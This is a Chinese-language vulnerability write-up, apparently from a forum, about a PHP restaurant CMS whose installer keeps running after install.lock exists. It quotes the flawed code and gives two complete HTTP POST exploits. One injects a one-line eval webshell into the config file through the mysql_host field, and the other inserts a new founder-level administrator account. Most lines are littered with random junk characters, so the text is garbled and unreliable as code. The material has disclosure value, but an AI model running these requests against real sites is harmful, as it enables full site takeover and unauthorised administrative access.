问题出在/install/index.php文件。在程序安装完后,会在程序根目录下生成install.lock文件。而/install/index.php在判断是否有install.lock时出现错误。
( K2 a# f- N2 F5 l
& ?9 X; f( f! R4 H<?php5 Y; P9 l' O$ j0 s$ Z- p
if(file_exists("../install.lock"))) b3 j8 J0 q' D
{! z2 w1 l1 y" V: E1 g, x$ ?
header("Location: ../");//没有退出
4 p7 f' t; i7 \2 V+ p9 w8 L}
; R- ]' F) k# A# X& E3 l5 i
0 |) K4 U' n/ U% C6 }//echo 'tst';exit;/ l# {8 ]! G" b
require_once("init.php");
! j# z8 S) z* q: C! q" sif(empty($_REQUEST['step']) || $_REQUEST['step']==1)& Y3 @" S( j6 e+ y- t4 `
{
# q) q1 U+ p' t: N可见在/install/index.php存在时,只是header做了302重定向并没有退出,也就是说下面的逻辑还是会执行的。在这里至少可以产生两个漏洞。
8 @# y+ }6 A" A$ Y$ K6 x7 F; O J, u& M9 d1 ^6 Y+ k/ s( y
1、getshell(很危险)4 j& S3 W0 V9 p- F6 q( H
if(empty($_REQUEST['step']) || $_REQUEST['step']==1)) v( H" u* @- {) C8 u4 B: r
{1 ]" l6 c% i: w$ r* p, ^
$smarty->assign("step",1);
6 h' k. [3 j3 ?% n2 F0 k" W$smarty->display("index.html");
* v7 L* M0 a8 w- Q) |7 l}elseif($_REQUEST['step']==2)/ c& }2 B7 @$ t0 T' g, s- [+ ^
{
2 X3 v. k! m4 N) Y) L. Z' o $mysql_host=trim($_POST['mysql_host']);
/ e1 Q& a: T9 i( o1 Y $mysql_user=trim($_POST['mysql_user']);3 R [6 W! M& g! ~' i
$mysql_pwd=trim($_POST['mysql_pwd']);% ]3 N0 ^3 }* l& C& ?
$mysql_db=trim($_POST['mysql_db']);0 B4 u' J7 A, N5 z9 V
$tblpre=trim($_POST['tblpre']);
/ v5 u% U3 f) q8 ` $domain==trim($_POST['domain']);
* m2 h1 C- ~' _2 R+ B; ` $str="<?php \r\n";7 G, X) \; W- @( T- H; I! i
$str.='define("MYSQL_HOST","'.$mysql_host.'");'."\r\n";
$ t; Q& ]9 a" D+ X4 f: m $str.='define("MYSQL_USER","'.$mysql_user.'");'."\r\n";
$ Q- J* ^) x% l, F3 ~3 Q" X $str.='define("MYSQL_PWD","'.$mysql_pwd.'");'."\r\n";0 H: y7 w; T1 C. w3 S! a
$str.='define("MYSQL_DB","'.$mysql_db.'");'."\r\n";( F; D! z& @' I3 L' P$ u
$str.='define("MYSQL_CHARSET","GBK");'."\r\n";
3 Q- _1 j6 L8 N# u; k4 S $str.='define("TABLE_PRE","'.$tblpre.'");'."\r\n";
$ c* I3 A+ p% J! @4 z1 E& [( z) G3 _ $str.='define("DOMAIN","'.$domain.'");'."\r\n";$ e* F6 l: P; O2 M0 R4 p' e' m: C+ r7 \
$str.='define("SKINS","default");'."\r\n";3 s# d* r+ N- l$ b$ J
$str.='?>';
5 {+ x' x+ f4 R2 c! K file_put_contents("../config/config.inc.php",$str);//将提交的数据写入php文件
. s, T, N2 B* |) s( D上面的代码将POST的数据直接写入了../config/config.inc.php文件,那么我们提交如下POST包,即可获得一句话木马8 E4 n( }; }- w& c, |8 L
POST /canting/install/index.php?m=index&step=2 HTTP/1.1* e' j9 Z* G$ U' ~
Host: 192.168.80.1298 d9 J4 F8 `7 d9 B' C
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.0
4 S! n/ ^: ~. f4 z2 MAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
0 k- J3 D: v/ v9 M- k# I& K9 tAccept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
) a, S8 H+ w& k3 ~Accept-Encoding: gzip, deflate/ ]" s9 P0 q5 `% H- e% e9 i
Referer: http://192.168.80.129/canting/install/index.php?step=1
! W6 {8 d# e8 p7 J* aCookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc42" M5 N) e" W& o6 h _: ]
Content-Type: application/x-www-form-urlencoded% C/ i. [' D1 @& I4 i3 h0 ^( v
Content-Length: 126- ? g, A. m+ F" P } C% s" ?
0 l( U2 {8 Y$ A
mysql_host=test");@eval($_POST[x]);?>//&mysql_user=1&mysql_pwd=2&mysql_db=3&tblpre=koufu_&domain=www&button=%CF%C2%D2%BB%B2%BD4 N( }* j* v" ~
但是这个方法很危险,将导致网站无法运行。- C$ U/ {6 h- R
7 Q9 Q! N4 s2 V# _, E. O# V% ?* c
2、直接添加管理员
. V% L/ U: t$ G5 W- X# e# e# a( z. K# z2 ~
elseif($_REQUEST['step']==5)6 e) Q, W" z! w% z7 C
{" T- n `! e* P0 _3 f8 {0 [. f
if($_POST)
4 J1 v8 H* t7 \" k- l, N* N( ] { require_once("../config/config.inc.php");
, i3 U/ t! ~* @1 l $link=mysql_connect(MYSQL_HOST,MYSQL_USER,MYSQL_PWD);
5 c8 {2 s" w. ] mysql_select_db(MYSQL_DB,$link);
/ a0 ]) U% b& D mysql_query("SET NAMES ".MYSQL_CHARSET );1 t8 |7 S* b5 [* |& f# t
mysql_query("SET sql_mode=''");
- M- d/ y) O# m1 f/ K/ Z: x' B
- k1 n( d3 }$ s9 m$ r $adminname=trim($_POST['adminname']);
; }( L3 j& w# C $pwd1=trim($_POST['pwd1']);
, B0 [! C6 ~- s $pwd2=trim($_POST['pwd2']);; F2 F- `8 R7 P* Y ^
if(empty($adminname))
: e3 V9 R' ?& \( e! T* X {" i& X/ T; C& P: c& G7 l
W/ e! M W) I# k5 s
echo "<script>alert('管理员不能为空');history.go(-1);</script>";
3 a& V: P4 x0 [* J) j' p exit();1 m$ L1 X' M) P4 u8 u7 z
}
! ~1 c* S. J! U# S+ r* _ if(($pwd1!=$pwd2) or empty($pwd1))
" D& h6 U) _# F, g; C {+ a6 v! _- @0 v- _( S/ c4 Q
echo "<script>alert('两次输入的密码不一致');history.go(-1);</script>";//这里也是没有退出
9 b1 K; j. j& ^2 o6 l5 E) s+ c }
( {! C: |6 J/ r9 |6 }# Y( x8 {- w mysql_query("insert into ".TABLE_PRE."admin(adminname,password,isfounder) values('$adminname','".umd5($pwd1)."',1)");//直接可以插入一个管理员8 e' U( ?! D/ j
}% `' @& U! d2 i4 Z- H0 R
这样的话我们就可以直接插入一个qingshen/qingshen的管理员帐号,语句如下:
# T! E, W, H. I: {POST /canting/install/index.php?m=index&step=5 HTTP/1.1
; r6 C# ?6 G1 h1 fHost: 192.168.80.129' p: f& e. \) M3 Q- _
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.0) C( [( O4 o: U: \2 @
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.81 E0 X- h0 X& G
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.32 P* A7 H/ T4 G
Accept-Encoding: gzip, deflate
$ A: n' P$ s+ hReferer: http://www.2cto.com /canting/install/index.php?step=1
# T: z; Y" S8 _' D9 @Cookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc42' H, o/ Q5 N/ b7 B/ C$ w" U
Content-Type: application/x-www-form-urlencoded
$ ~; V% W/ k9 G7 Y- o8 DContent-Length: 464 |" z6 `) O. C1 }* {9 y# G) u
: E$ t# p' t* L4 t3 ], e7 t2 q
adminname=qingshen&pwd1=qingshen&pwd2=qingshen Q# T, v$ A& A2 v' k
|